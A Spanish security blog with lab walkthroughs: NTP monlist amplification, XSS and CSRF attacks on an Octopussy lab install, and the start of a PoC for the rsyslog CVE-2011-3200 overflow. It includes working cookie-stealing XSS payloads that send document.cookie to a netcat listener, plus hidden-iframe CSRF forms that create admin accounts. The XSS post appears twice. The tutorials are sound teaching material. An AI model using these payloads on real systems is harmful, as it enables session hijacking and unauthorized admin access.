Hace unas dos semanas recibí una nueva alerta del US-CERT sobre el uso del protocolo NTP para realizar DDoS, mediante ataques de amplificación. Para los que no saben/recuerdan lo que es un ataque de amplificación lo pueden refrescar leyendo http://viviendolared.blogspot.com.ar/2013/07/ta13-088a-dns-amplification-attacks.html , si bien esa entrada trata de un ataque de amplificación utilizando DNS, conceptualmente es lo mismo.
Me llamó poderosamente la atención que se pudiese utilizar NTP para realizar este tipo de ataques, básicamente por no conocer en profundidad las posibilidades del protocolo. El problema esencialmente es que NTP junto con DNS, FTP, HTTP, etc... es de esos protocolos que fueron diseñados en una época en que internet era buena/saludable/ingenua y jamás pensaron que muchas funcionalidades podrían luego ser utilizadas para hacer el mal, JA!
Resulta ser que hay una funcionalidad del protocolo, llamada monlist que nos permite ver las estadísticas de comunicación del demonio NTP con todos los clientes. Por ejemplo, consultando a un pequeño servidor que mantiene sincronizado unos pocos nodos en una LAN podemos ver:
Una simple consulta ntpdc -c monlist servidor.ntp.com nos generó el siguiente tráfico:
root@acelga:~# tcpdump -n port 123
tcpdump: verbose output suppressed, use -v or -vv for full protocol decode
listening on eth0, link-type EN10MB (Ethernet), capture size 65535 bytes
16:50:34.121664 IP 172.19.136.12.45612 > 172.19.136.1.123: NTPv2, Reserved, length 192
16:50:34.122140 IP 172.19.136.1.123 > 172.19.136.12.45612: NTPv2, Reserved, length 296
^C
2 packets captured
2 packets received by filter
0 packets dropped
pasado en limpio, con 192 bytes logramos una respuesta de 296 bytes, lo cual realmente no parece ser gran cosa. Pero qué pasa si en lugar de consultar a un pequeño servidor NTP de una LAN consulto a uno un poco mas grande?
root@acelga:~# tcpdump -n port 123
tcpdump: verbose output suppressed, use -v or -vv for full protocol decode
listening on eth0, link-type EN10MB (Ethernet), capture size 65535 bytes
17:00:41.259404 IP 172.19.136.12.37161 > 200.XXX.XXX.XXX.123: NTPv2, Reserved, length 192
17:00:41.259767 IP 200.XXX.XXX.XXX.123 > 172.19.136.12.37161: NTPv2, Reserved, length 440
17:00:41.259780 IP 200.XXX.XXX.XXX.123 > 172.19.136.12.37161: NTPv2, Reserved, length 440
17:00:41.259785 IP 200.XXX.XXX.XXX.123 > 172.19.136.12.37161: NTPv2, Reserved, length 440
17:00:41.259788 IP 200.XXX.XXX.XXX.123 > 172.19.136.12.37161: NTPv2, Reserved, length 440
17:00:41.259792 IP 200.XXX.XXX.XXX.123 > 172.19.136.12.37161: NTPv2, Reserved, length 440
17:00:41.260016 IP 200.XXX.XXX.XXX.123 > 172.19.136.12.37161: NTPv2, Reserved, length 440
17:00:41.260027 IP 200.XXX.XXX.XXX.123 > 172.19.136.12.37161: NTPv2, Reserved, length 440
17:00:41.260031 IP 200.XXX.XXX.XXX.123 > 172.19.136.12.37161: NTPv2, Reserved, length 440
17:00:41.260034 IP 200.XXX.XXX.XXX.123 > 172.19.136.12.37161: NTPv2, Reserved, length 440
17:00:41.260038 IP 200.XXX.XXX.XXX.123 > 172.19.136.12.37161: NTPv2, Reserved, length 440
17:00:41.260042 IP 200.XXX.XXX.XXX.123 > 172.19.136.12.37161: NTPv2, Reserved, length 440
17:00:41.260046 IP 200.XXX.XXX.XXX.123 > 172.19.136.12.37161: NTPv2, Reserved, length 440
17:00:41.260266 IP 200.XXX.XXX.XXX.123 > 172.19.136.12.37161: NTPv2, Reserved, length 440
17:00:41.260275 IP 200.XXX.XXX.XXX.123 > 172.19.136.12.37161: NTPv2, Reserved, length 440
17:00:41.260280 IP 200.XXX.XXX.XXX.123 > 172.19.136.12.37161: NTPv2, Reserved, length 440
17:00:41.260283 IP 200.XXX.XXX.XXX.123 > 172.19.136.12.37161: NTPv2, Reserved, length 440
17:00:41.260287 IP 200.XXX.XXX.XXX.123 > 172.19.136.12.37161: NTPv2, Reserved, length 440
17:00:41.260291 IP 200.XXX.XXX.XXX.123 > 172.19.136.12.37161: NTPv2, Reserved, length 440
17:00:41.260516 IP 200.XXX.XXX.XXX.123 > 172.19.136.12.37161: NTPv2, Reserved, length 440
17:00:41.260526 IP 200.XXX.XXX.XXX.123 > 172.19.136.12.37161: NTPv2, Reserved, length 440
17:00:41.260530 IP 200.XXX.XXX.XXX.123 > 172.19.136.12.37161: NTPv2, Reserved, length 440
17:00:41.260534 IP 200.XXX.XXX.XXX.123 > 172.19.136.12.37161: NTPv2, Reserved, length 440
17:00:41.260538 IP 200.XXX.XXX.XXX.123 > 172.19.136.12.37161: NTPv2, Reserved, length 440
17:00:41.260541 IP 200.XXX.XXX.XXX.123 > 172.19.136.12.37161: NTPv2, Reserved, length 440
17:00:41.260766 IP 200.XXX.XXX.XXX.123 > 172.19.136.12.37161: NTPv2, Reserved, length 440
17:00:41.260776 IP 200.XXX.XXX.XXX.123 > 172.19.136.12.37161: NTPv2, Reserved, length 440
17:00:41.260780 IP 200.XXX.XXX.XXX.123 > 172.19.136.12.37161: NTPv2, Reserved, length 440
17:00:41.260784 IP 200.XXX.XXX.XXX.123 > 172.19.136.12.37161: NTPv2, Reserved, length 440
17:00:41.260788 IP 200.XXX.XXX.XXX.123 > 172.19.136.12.37161: NTPv2, Reserved, length 224
^C
30 packets captured
30 packets received by filter
0 packets dropped by kernel
root@acelga:~#
Y ahora qué pasó? JA! a partir de una consulta de 192 bytes obtuvimos una respuesta de 12544 bytes (28*440+224), es decir pasamos de un factor de casi 2 a un factor de 65, suena mas interesante, no? Y eso que el servidor consultado solo mostró 170 clientes conectados... seguramente se pueden encontrar en internet servidores con mas clientes aún.
Según la documentación de ntpdc, el comando monlist solo nos devolvería hasta 600 entradas, por lo tanto podríamos asumir un máximo de 12544 bytes*3.5=43904 bytes con una consulta de solo 192 bytes, esto es un factor de 227 aproximadamente, interesting!!!
Haciendo un poco de números si tenemos 100 PCs zombies haciendo spoofing y realizando 1 consulta por segundo son 43904*100=4390400 bytes, aprox 4Mbytes/S de tráfico que retornará a la IP spoofeada, esto sin considerar la posibilidad de hacer mas consultas por segundo, tener mas PCs zombies o mas servidores NTP...
¿Cómo controlo mi servidor NTP para que no sea utilizado para esto?
Por defecto la mayoría de las versiones nuevas de NTP no son vulnerables, porque traen desactivada la opción de consultas de estadísticas, las opciones para evitar dolores de cabeza son:
-Desactivar las consultas de estadísticas
-Controlar las direcciones IP que tienen permitidas dichas consultas
Ambas soluciones se logran editando el archivo /etc/ntp.conf (o el equivalente en tu distribución), y asegurandose de que la opción noquey se encuentra puesta como en las siguientes lineas:
restrict default kod nomodify notrap nopeer noquery
restrict -6 default kod nomodify notrap nopeer noquery
Mostrando entradas con la etiqueta vulnerabilidad. Mostrar todas las entradas
Mostrando entradas con la etiqueta vulnerabilidad. Mostrar todas las entradas
domingo, 19 de enero de 2014
lunes, 4 de marzo de 2013
Un poco de XSS
Por acá de nuevo, debido a que realmente me gustó escribir el post anterior, hoy voy a escribir un poco sobre XSS, otra vulnerabilidad muuuuy común en aplicaciones web. XSS (Cross Site Scripting) se trata de una vulnerabilidad que permite la inserción y ejecución de código javascript en una aplicación web, principalmente debido a la ineficiencia o ausencia de validación en las entradas de los usuarios.
En esencia existen dos tipos de vulnerabilidades XSS:
-Indirectas o reflejadas: estas no perduran en el tiempo, y se trata de la modificación de parámetros entre una página y otra. Generalmente se trata de variables que se van a mostrar en el sitio.
-Directas o persistentes: consisten en lograr insertar código script de manera permanente en la aplicación web. Este tipo de XSS se presenta por lo general en sitios que permitan publicar contenido.
Mi conejo de indias volverá a ser Octopussy (la misma instalación del post anterior), ya que ha demostrado ser un buen ejemplo (o mal ejemplo, depende de donde se lo mire :P) para probar estas vulnerabilidades.
Entonces el objetivo principal es lograr insertar código javascript para por ejemplo: robar las cookies de sesión (también conocido como session-hijacking, secuestro de sesion).
Luego de probar un rato me encontré con que el lugar mas sencillo para explotar XSS es la página de eliminación de usuarios, mas precisamente en el link: https://172.16.62.145:8888/dialog.asp?id=delete_user&arg1=usuario.
Prueba 1: ejecución del clásico mensaje con la función alert(). Para esto vamos a jugar con el parámetro arg1 que podemos ver se encuentra escrito en el código de fuente, por lo cual intuimos que es un potencial XSS INDIRECTO. Primero cambiamos usuario por una palabra cualquiera, como aquelarre.
Queda confirmado que el argumento arg1 es luego usado para construir el sitio que vemos. Entonces ahora solo nos queda introducir en arg1 algo de javascript. Reemplazamos aquelarre por <scrip>alert("XSS!!!")</script>
Prueba 2: obteniendo la cookie de sesión. Como dijimos antes, la idea sería poder obtener el token de sesión para poder tomar la identidad del administrador, para eso necesitamos la cookie asignada a su sesión. Para ver las cookies con javascript utilizamos document.cookie, y la podemos ver utilizando alert de la siguiente forma: <script>alert(document.cookie)</script>
Prueba 3: session hijacking!!! Ahora ya sabemos cómo ver la cookie, solo necesitamos poder enviarnosla remotamente para luego poder utilizarla. La manera mas utilizada de hacer esto es mediante la famosa etiqueta <img>. La idea básicamente es que en el atributo src de nuestra etiqueta img apuntemos hacia algún servidor web bajo nuestro control incluyendo la cookie como parámetro en una petición GET.
Como no merece la pena levantar un servidor web para hacer solamente esta prueba, se me ocurrió utilizar lisa y llanamente netcat (la navaja suiza TCP/IP como le dicen :P). Entonces puse netcat a escuchar en el puerto 8080 de la pc 172.16.62.1.
Ahora el link al que debería acceder nuestro administrador desprevenido es: https://172.16.62.145:8888/dialog.asp?id=delete_user&arg1=%3Cscript%3Edocument.write%28%27%3Cimg%20src=http://172.16.62.1:8080/%27+%2bdocument.cookie+%2b+%27%3E%27%29%3C/script%3E
Y nuevamente aparece la imagen rota que nada dice, pero que muuucho hace.
Y en nuestro netcat recibimos la cookie como parámetro en el GET:
Listo, ya tenemos la cookie, no necesitamos ni usuario ni password. Para comprobar que la cookie obtenida funciona, eliminamos toda las cookies de firefox, de tal forma que si ingresamos a https://172.16.62.145:8888/system.asp veremos:
Ahora cargamos manualmente la cookie con cookiemanager:
Volvemos a ingresar a https://172.16.62.145:8888/system.asp y ahora...:
Total y absoluto control :D, sesión secuestrada con éxito!
Esta técnica a mi criterio se trata de una combinación de CSRF y XSS, ya que por un lado tenemos la ejecución de una petición de manera encubierta sobre una aplicación remota (el hecho de lograr que el administrador ejecute el link) y la inserción de código javascript para el robo del token de sesión.
Prueba 4: Luego del robo de sesión exitoso seguí probando cosas sin sentido y me encontré con algo mas que gracioso. Sin tener una sesión iniciada, solamente conociendo el formulario de la creación de usuarios podemos crearnos nuestro propio usuario admnistrador!!!
Utilizando el formulario de la prueba 1 de CSRF (CSRF2.html) del post anterior se puede crear el usuario eviladministrator:
Una vez creado iniciamos sesión:
INCREIBLE... pero si.
Prueba 5: los 3 primeros casos se trataron de XSS de tipo reflajados o indirectos, que como ya dijimos NO son persistentes (solo vuelven a funcionar si el usuario presiona el link nuevamente). Ahora vamos a buscar un caso de XSS directo o persistente para ver de qué se trata.
Haciendo uso de la vulnerabilidad de la Prueba 4, en el campo de nombre ponemos <script>document.write('<img src=http://172.16.62.1:8000/'+document.cookie+'>');</script> y agregamos el nuevo usuario.
Ahora cuando algún usuario se autentique en la aplicación y vaya a la sección de usuarios verá lo siguiente:
En la imagen anterior además se ven otras pruebas, una de ellas consiste en poner en el nombre del usuario <script>document.write(document.cookie)</script>. Esta prueba en particulara se trata de una de las imágenes rotas. Si controlamos nuestro netcat vemos:
Decimos que se trata de un XSS persistente ya que los datos están grabados en la base de datos de usuarios. Siempre que un usuario ingrese a esta parte de la aplicación nosotros recibiremos su cookie, porque se ejecutará el XSS.
Para quienes quieran un poco mas de XSS acá va: https://www.owasp.org/index.php/XSS_Filter_Evasion_Cheat_Sheet
En esencia existen dos tipos de vulnerabilidades XSS:
-Indirectas o reflejadas: estas no perduran en el tiempo, y se trata de la modificación de parámetros entre una página y otra. Generalmente se trata de variables que se van a mostrar en el sitio.
-Directas o persistentes: consisten en lograr insertar código script de manera permanente en la aplicación web. Este tipo de XSS se presenta por lo general en sitios que permitan publicar contenido.
Mi conejo de indias volverá a ser Octopussy (la misma instalación del post anterior), ya que ha demostrado ser un buen ejemplo (o mal ejemplo, depende de donde se lo mire :P) para probar estas vulnerabilidades.
Entonces el objetivo principal es lograr insertar código javascript para por ejemplo: robar las cookies de sesión (también conocido como session-hijacking, secuestro de sesion).
Luego de probar un rato me encontré con que el lugar mas sencillo para explotar XSS es la página de eliminación de usuarios, mas precisamente en el link: https://172.16.62.145:8888/dialog.asp?id=delete_user&arg1=usuario.
Prueba 1: ejecución del clásico mensaje con la función alert(). Para esto vamos a jugar con el parámetro arg1 que podemos ver se encuentra escrito en el código de fuente, por lo cual intuimos que es un potencial XSS INDIRECTO. Primero cambiamos usuario por una palabra cualquiera, como aquelarre.
Queda confirmado que el argumento arg1 es luego usado para construir el sitio que vemos. Entonces ahora solo nos queda introducir en arg1 algo de javascript. Reemplazamos aquelarre por <scrip>alert("XSS!!!")</script>
Prueba 2: obteniendo la cookie de sesión. Como dijimos antes, la idea sería poder obtener el token de sesión para poder tomar la identidad del administrador, para eso necesitamos la cookie asignada a su sesión. Para ver las cookies con javascript utilizamos document.cookie, y la podemos ver utilizando alert de la siguiente forma: <script>alert(document.cookie)</script>
Prueba 3: session hijacking!!! Ahora ya sabemos cómo ver la cookie, solo necesitamos poder enviarnosla remotamente para luego poder utilizarla. La manera mas utilizada de hacer esto es mediante la famosa etiqueta <img>. La idea básicamente es que en el atributo src de nuestra etiqueta img apuntemos hacia algún servidor web bajo nuestro control incluyendo la cookie como parámetro en una petición GET.
Como no merece la pena levantar un servidor web para hacer solamente esta prueba, se me ocurrió utilizar lisa y llanamente netcat (la navaja suiza TCP/IP como le dicen :P). Entonces puse netcat a escuchar en el puerto 8080 de la pc 172.16.62.1.
Ahora el link al que debería acceder nuestro administrador desprevenido es: https://172.16.62.145:8888/dialog.asp?id=delete_user&arg1=%3Cscript%3Edocument.write%28%27%3Cimg%20src=http://172.16.62.1:8080/%27+%2bdocument.cookie+%2b+%27%3E%27%29%3C/script%3E
Y nuevamente aparece la imagen rota que nada dice, pero que muuucho hace.
Y en nuestro netcat recibimos la cookie como parámetro en el GET:
Listo, ya tenemos la cookie, no necesitamos ni usuario ni password. Para comprobar que la cookie obtenida funciona, eliminamos toda las cookies de firefox, de tal forma que si ingresamos a https://172.16.62.145:8888/system.asp veremos:
Ahora cargamos manualmente la cookie con cookiemanager:
Volvemos a ingresar a https://172.16.62.145:8888/system.asp y ahora...:
Total y absoluto control :D, sesión secuestrada con éxito!
Esta técnica a mi criterio se trata de una combinación de CSRF y XSS, ya que por un lado tenemos la ejecución de una petición de manera encubierta sobre una aplicación remota (el hecho de lograr que el administrador ejecute el link) y la inserción de código javascript para el robo del token de sesión.
Prueba 4: Luego del robo de sesión exitoso seguí probando cosas sin sentido y me encontré con algo mas que gracioso. Sin tener una sesión iniciada, solamente conociendo el formulario de la creación de usuarios podemos crearnos nuestro propio usuario admnistrador!!!
Utilizando el formulario de la prueba 1 de CSRF (CSRF2.html) del post anterior se puede crear el usuario eviladministrator:
Una vez creado iniciamos sesión:
INCREIBLE... pero si.
Prueba 5: los 3 primeros casos se trataron de XSS de tipo reflajados o indirectos, que como ya dijimos NO son persistentes (solo vuelven a funcionar si el usuario presiona el link nuevamente). Ahora vamos a buscar un caso de XSS directo o persistente para ver de qué se trata.
Haciendo uso de la vulnerabilidad de la Prueba 4, en el campo de nombre ponemos <script>document.write('<img src=http://172.16.62.1:8000/'+document.cookie+'>');</script> y agregamos el nuevo usuario.
Ahora cuando algún usuario se autentique en la aplicación y vaya a la sección de usuarios verá lo siguiente:
En la imagen anterior además se ven otras pruebas, una de ellas consiste en poner en el nombre del usuario <script>document.write(document.cookie)</script>. Esta prueba en particulara se trata de una de las imágenes rotas. Si controlamos nuestro netcat vemos:
Decimos que se trata de un XSS persistente ya que los datos están grabados en la base de datos de usuarios. Siempre que un usuario ingrese a esta parte de la aplicación nosotros recibiremos su cookie, porque se ejecutará el XSS.
Para quienes quieran un poco mas de XSS acá va: https://www.owasp.org/index.php/XSS_Filter_Evasion_Cheat_Sheet
Etiquetas:
cookie,
CSRF,
hacking,
html,
javascript,
login,
octopussy,
vulnerabilidad,
XSS
viernes, 1 de marzo de 2013
Un poco de CSRF
Aca de nuevo trayendo algo que me interesó hace unos días y me parecía que valía la pena probar y comentar acá. Se trata de las vulnerabilidades de tipo CSRF (Cross Site Request Forgery), también se las conoce por otros nombres, pero este es el mas usado.
¿Qué es CSRF?
Básicamente se trata de un tipo de ataque mediante el cual se intenta que la víctima realice una determinada operación en una aplicación web sin saberlo. Esta técnica se aprovecha de aplicaciones web que tienen una estructura de peticiones predecibles.
El detalle está en que si el usuario se encuentra autenticado en la aplicación el browser mismo ocultará la operación incluyendo en la petición las credenciales de autenticación (cookie, basic-auth, etc), como si se tratara de una petición completamente legítima.
Y como sabemos... muchas veces los usuarios NO cierran las sesiones de sus aplicaciones web como corresponde y sumado al hecho de que a veces las cookies no expiran en tiempos razonables... booooom! CSRF attack!!!
Ejemplo:
Supongamos que tenemos un sitio www.sitiodeprueba.com. Se trata de una aplicación PHP escrita a mano y que una vez lograda la autenticación con mi usuario y contraseña me asigna una cookie de sesión con la cual se autentica en cada petición. La aplicación permite cargar usuarios, modificarlos y eliminarlos. Cuando ingresamos a la opción de agregar usuario nos encontramos con un formulario sencillo con dos campos input uno de nombre y otro de contraseña y por último el botón de "Nuevo Usuario".
En HTML sería algo así:
<form name="agregar_usuario" method="GET" action="usuarios.php">
<tr>
<input type="text" name="nombre"></td>
<input type="password" name="password"></td>
<input type="submit" name="submit" value="Nuevo Usuario">
</tr>
</form>
Este formulario, si ingresamos como nombre y password Juan y luego presionamos el botón "Nuevo Usuario", sencillamente se transforma en http://www.sitiodeprueba.com/usuarios.php?nombre=Juan&password=Juan y se envía como una petición de tipo GET.
Si ahora escribimos en la barra de dirección del browser www.sitiodeprueba.com/usuarios.php?nombre=Ramon&password=Ramon123 , estariamos creando el usuario de nombre Ramon y de password Ramon123. Esto se trata de una petición (GET en este caso) predecible, la petición NO incluye atributos que la distingan de la anterior o de la próxima. De una forma muy similar se puede lograr lo mismo si se trata de peticiones de tipo POST.
Entonces para explotar una vulnerabilidad CSRF se necesitan: un usuario autenticado y una petición que sea fácilmente reproducible. Pero falta algo mas... falta lograr que el usuario autenticado realice la petición en cuestión y en lo posible sin que se de cuenta!!! Hay varias formas de hacer llegar la petición a la víctima, algunas mas camufladas que otras. Las formas van desde: enviar por correo los links, hasta insertar el código en un sitio web el cual sabemos que la víctima visita frecuentemente.
Prueba de concepto:
Bien, ahora vamos a probar la teoría. La situación de prueba es la siguiente.
Tenemos una máquina virtual (172.16.62.145) con un software de administración de logs llamado octopusy (versión 1.0-4, la versión que viene con Ubuntu 12.04.2 LTS). Esta aplicación se encuentra en el puerto 8888 (HTTPS).
Si iniciamos sesión como administrador vemos que se nos asigna una cookie de sesión, la cuál nos autentica luego en cada petición que le hacemos a la aplicación:
Viendo un poco la aplicación resulta que tiene varias peticiones que se podrían reproducir fácilmente y hacer CSRF.
En el menú de usuarios podemos agregar, modificar y borrar usuarios.
Si vemos un poco el código de fuente (HTML) de user.asp, agregar un nuevo usuario consiste en el siguiente formulario:
...
<form name="unknown" method="POST" action="./user.asp">
<tr class="box">
<td class="box">
<input type="text" name="login"></td>
<td class="box">
<input type="password" name="password" value=""></td>
<td class="box" align="center" ></td>
<td class="box">
<select name="AAT_Language">
EN<option value="EN">Ingles</option>
FR<option value="FR">Frances</option>
DE<option value="DE">Aleman</option>
IT<option value="IT">Italiano</option>
PT<option value="PT">Portugues</option>
RU<option value="RU">Ruso</option>
ES<option selected value="ES">Español</option>
</select></td>
<td class="box">
<select name="user_role">
admin<option value="admin">Admin</option>
ro<option value="ro">Read Only</option>
rw<option value="rw">Read Write</option>
restricted<option value="restricted">Restricted</option>
</select></td>
<td class="box">
<select name="status">
Enabled<option value="Enabled">Habilitado</option>
Disabled<option value="Disabled">Deshabilitado</option>
</select></td>
<td class="box" align="center" colspan="3"><input type="submit" name="submit" value="Nuevo Usuario"></td>
</tr>
</form>
...
Es un formulario POST común y sin ninguna particularidad que nos impida reproducirlo. Entonces empiezan las pruebas.
Prueba 1: reproducción sencilla del formulario para agregar un nuevo usuario. En esta prueba solamente aislamos y reproducimos el formulario. NOTA: ahora el atributo action de la etiqueta form debe llevar la dirección completa del recurso, en nuestro caso https://172.16.62.145:8888/user.asp.
<html>
<head>
<title>Prueba CSRF</title>
</head>
<body>
<p>Prueba de csrf 2</p>
<p>Reproducción sencilla del formulario de creación de nuevo usuario.</p>
<p>
<form name="unknown" id="unknown" method="POST" action="https://172.16.62.145:8888/user.asp">
<tr class="box">
<td class="box"><input type="text" name="login" value="malo"></td>
<td class="box"><input type="password" name="password" value="malo"></td>
<td class="box">
<select name="AAT_Language">
EN<option value="EN">Ingles</option>
FR<option value="FR">Frances</option>
DE<option value="DE">Aleman</option>
IT<option value="IT">Italiano</option>
PT<option value="PT">Portugues</option>
RU<option value="RU">Ruso</option>
ES<option selected value="ES">Español</option>
</select>
</td>
<td class="box">
<select name="user_role">
admin<option value="admin">Admin</option>
ro<option value="ro">Read Only</option>
rw<option value="rw">Read Write</option>
restricted<option value="restricted">Restricted</option>
</select>
</td>
<td class="box">
<select name="status">
Enabled<option value="Enabled">Habilitado</option>
Disabled<option value="Disabled">Deshabilitado</option>
</select>
</td>
<input type="submit" name="submit" value="Nuevo Usuario">
</tr>
</form>
</p>
</body>
</html>
Si abrimos con el browser el archivo CSRF2.html veremos:
Una vez que presionemos el botón "Nuevo Usuario" veremos:
Tenemos creado el nuevo usuario, nombre=malo password=malo!!! Ahora ya sabemos que el ataque es posible, solo hay que lograr ocultarlo para que no sea tan evidente.
Prueba 2: ahora vamos a automatizar y ocultar el ataque de forma tal que la víctima no vea qué sucedió. Para lograr esto vamos a requerir la ayuda de los famosos iframe y javascript.
Por un lado tenemos el archivo CSRF3.html:
<html>
<head>
<title>Prueba CSRF</title>
</head>
<body>
<h2>Prueba de CSRF 3</h2>
<p>Haciendo una petición por POST con un formulario automático, dentro de un iframe casi invisible.</p>
<p>Resultado: creación de un nuevo usuario con privilegios de administrado llamado "malo2".</p>
<iframe src="formulario_nuevo_usuario.html" width="0" height="0">
</body>
</html>
Un HTML sencillo que podría ser un sitio cualquiera, pero que contiene un iframe de tamaño despreciable y que carga el archivo formulario_nuevo_usuario.html. Este último html es el que contiene nuestra nueva versión reducida del formulario de alta de usuario, que es la siguiente:
<form name="unknown" id="unknown" method="POST" action="https://172.16.62.145:8888/user.asp">
<tr class="box">
<td class="box">
<input type="text" name="login" value="malo2"></td>
<td class="box">
<input type="password" name="password" value="malo"></td>
<td class="box">
<select name="AAT_Language">
ES<option selected value="ES">Español</option>
</select>
</td>
<td class="box">
<select name="user_role">
admin<option selected value="admin">Admin</option>
</select>
</td>
<td class="box">
<select name="status">
Enabled<option selected value="Enabled">Habilitado</option>
</select>
</td>
</tr>
</form>
<script>document.unknown.submit();</script>
Sencillamente recortamos las selecciones de las etiquetas select y dejamos seleccionadas las características que queremos que tenga el usuario (idioma español, rol admin y que esté activado), quitamos el botón "Nuevo Usuario" y por último agregamos una linea de javascript que procesa el formulario automáticamente.
Si ahora abrimos nuestro archivo CSRF3.html nos encontramos con:
Nada... un cuadradito pequeño allí que poco importa a quien no sospecha de nada y menos aún si se camufla en un gran sitio web con muchos colores e imágenes. Pero... si vamos a ver los usuarios vemos:
Prueba 3: muchas veces resulta ser que tanto las peticiones GET como las POST son procesadas indistintamente por las aplicaciones. Esto quiere decir que podría no ser necesario recurrir a los trucos de las 2 pruebas anteriores... ¿Por qué no probar enviar una petición GET con los mismo campos que la petición POST?
link: https://172.16.62.145:8888/user.asp?login=malo3&password=malo&AAT_Language=ES&user_role=admin&status=Enabled
Resultado:
Si bien se muestra el usuario creado, es imposible acceder con el mismo y se ve claramente que no tomó los atributos que indicamos. Esto indica que la aplicación se comporta de manera diferente ante una petición GET con los mismos atributos.
Prueba 4: por último vamos a ver el caso más sencillo de ocultar y se trata justamente de las peticiones GET. Las peticiones GET se pueden enmascarar por ejemplo con una etiqueta html img. Buscando un poco en la aplicación vemos que esto se podría hacer en la opción de eliminar usuario. Cuando decidimos eliminar un usuario se nos presenta una nueva página donde podemos elegir entre confirmar nuestra operación o cancelarla.
Como podemos ver, el link del botón de ok es claramente una petición de tipo GET.
https://172.16.62.145:8888/user.asp?login=malo3&action=remove
Ahora ya sabemos que si hacemos click en un link solamente indicando el nombre del usuario y la acción remove, podemos eliminarlo de la aplicación (siempre y cuando quien haga click se haya autenticado previamente con los privilegios necesarios, en nuestro caso el administrador).
Paso siguiente creamos el archivo CSRF4.html con el siguiente contenido:
<html>
<head>
<title>Prueba CSRF</title>
</head>
<body>
<h2>Prueba de CSRF 4</h2>
<p>Haciendo CSRF por GET a través de un tag img.</p>
<p>Resultado: eliminación del usuario de nombre "malo".</p>
<p>
<img src="https://172.16.62.145:8888/user.asp?login=malo3&action=remove"/>
</p>
</body>
</html>
La línea que lo hace todo es <img src="https://172.16.62.145:8888/user.asp?login=malo3&action=remove"/> por lo tanto alcanzaría insertar esa línea en cualquier sitio que la víctima visite frecuentemente.
Si abrimos el archivo con el browser vemos:
Simplemente una imagen que desgraciadamente no pudo cargarse, que pena...
Pero en la aplicación se pueden ver las consecuencias de esa imagen sin cargar:
El usuario malo3 ha sido eliminado por el usuario admin sin que este último tenga la mas mínima intención.
Resultados de las pruebas:
-Crear usuarios
-Eliminar usuarios
Situación hipotética: supongamos por un segundo que este servidor pertenece a la red privada de una organización y que existe en el firewall principal una regla de redirección que les permite a los administradores acceder remotamente a la aplicación (porque los administradores a veces trabajn desde sus casas :P). Si los atacantes lograran que los administradores ejecuten alguna de las pruebas hechas anteriormente, podrían hacerse con un usuario y contraseña válidos para ingresar a la aplicación remotamente, sin necesidad de estar en la red privada. Esto significa que podrían hacer con los logs lo que quieran. A partir de allí podrían buscar otras vulnerabilidades en la aplicación y comenzar a escalar privilegios, desde un servidor en la red privada... OMG!!!
Ja... todo lo que podría pasar con un solo click, no?
Para quienes quieran interiorizar en CSRF, busquen el white paper de Jesse Burns "Cross Site Request Forgery An introduction to a common web application weakness". También en http://www.google.com/search?q=CSRF .
Saludossss
lunes, 12 de septiembre de 2011
Prueba de concepto CVE-2011-3200 rsyslog
Es una tendencia y una muy buena práctica la centralización de los logs de los equipos. Existen varias opciones, siendo las mas difundidas rsyslog, syslog-ng y syslogd.
En esta entrada vamos a comprobar una vulnerabilidad (debilidad o falta de un control) que fue encontrada hace un par de semanas en el servidor de logs rsyslog.
La vulnerabilidad es básicamente un desbordamiento de pila, provocado por un excesivo tamaño del campo TAG. Este, es uno de los campos que compone un mensaje tipo syslog (RFC3164 http://www.ietf.org/rfc/rfc3164.txt).
El contexto de pruebas es el siguiente:
-Servidor rsyslog remoto en la dirección 192.168.206.160 (OpenSuSE 11.3)
-Cliente rsyslog en la dirección 192.168.206.1 (Ubuntu 9.10)
Software utilizado:
-rsyslog 5.4.0 en el servidor
-rsyslog 4.2.0 en el cliente
-logger en el cliente
-hping3 en el cliente
Configurar el servidor rsyslog:
Primeramente configuramos nuestro servidor rsyslog para que reciba mensajes remotos, esto se hace editando el archivos /etc/rsyslog.d/remote.conf y descomentando las siguientes líneas:
$ModLoad imudp.so
$UDPServerRun 514
Luego reiniciamos rsyslog, y abrimos el puerto 514 UDP en el firewall para poder recibir los mensajes.
Configurar el cliente rsyslog:
En este ejemplo vamos a indicar al rsyslog que corre en la pc cliente, que envíe al servidor remoto los logs que tengan facility local7 y severity warn (o mayor a warn); agregamos la siguiente linea a /etc/rsyslog.d/50-default.conf
local7.warn @192.168.206.160
Probando la configuración con logger:
Logger es una interface de comandos que nos comunica con el sistema de loggin del equipo local. Es decir, logger NO enviará los mensajes al servidor remoto, sino al rsyslog local y este los enviará a donde correspondan.
logger -p local7.err -d -t Prueba "esto es una prueba"
Y en la red vemos:
Y del lado del servidor, con tail -f /var/log/messages veremos como llega nuestro mensaje:
Entonces ya tenemos andando nuestro servidor de logs centralizado (.... por decirlo de una manera :P).
Ahora veamos qué pasa si rompemos la barrera de los 32 caracteres en el campo TAG del mensaje, utilizando logger.
# logger -p local7.err -d -t PruebaPruebaPruebaPruebaPruebaTTX "esto es una prueba"
Captura de wireshark:
CARAMBA! Podemos apreciar que la X que excede el límite de los 32 caracteres nunca salió de nuestro sistema, es decir que nuestro rsyslog local cortó la cadena para solamente enviar lo permitido.
Bien, de momento podemos asegurar que un rsyslog no tiraría abajo otro rsyslog porque jamás enviaría un TAG que superase el límite que dicta el RFC.
Qué pasa si... creamos a mano un mensaje syslog y violamos esta restricción?
Para simular el mensaje copiamos de wireshark la parte de datos del paquete UDP y lo pegamos abriendo un archivo en modo binario (vi -b crafted_packet), de la siguiente forma:
Ahora el TAG tiene "PruebaPruebaPruebaPruebaPruebaTTX" que son 33 caracteres, es decir la misma prueba que hicimos con logger, pero esta vez será de manera manual, salteandonos el rsyslog local.
Pero cómo metemos este mensaje en un paquete UDP y lo enviamos al servidor???
hping3 es la respuesta a esa pregunta!!! hping3 es una aplicación esencialmente diseñada para hacer ataques de flooding xD, pero en este caso la usaremos con fines menos escabrosos. Entre otras cosas nos permite crear paquetes ICMP, IP, TCP, UDP de forma muy flexible y enviarlos a tasas dañinas o no.
Lo que haremos es generar paquetes UDP al puerto 514 del servidor de logs remoto en la IP 192.168.206.160.
La forma de generar el paquete es la siguiente:
-2 : indica que queremos generar paquetes UDP
-i 1: cantidad de paquetes por segundo
-d 78: tamaño del PDU UDP, es decir de los datos del paquete UDP
-E crafted_packet: es el archivo de 78 bytes que creamos anteriormente
-p 514: indica el puerto de destino de los paquetes
192.168.206.160: es la IP del servidor remoto
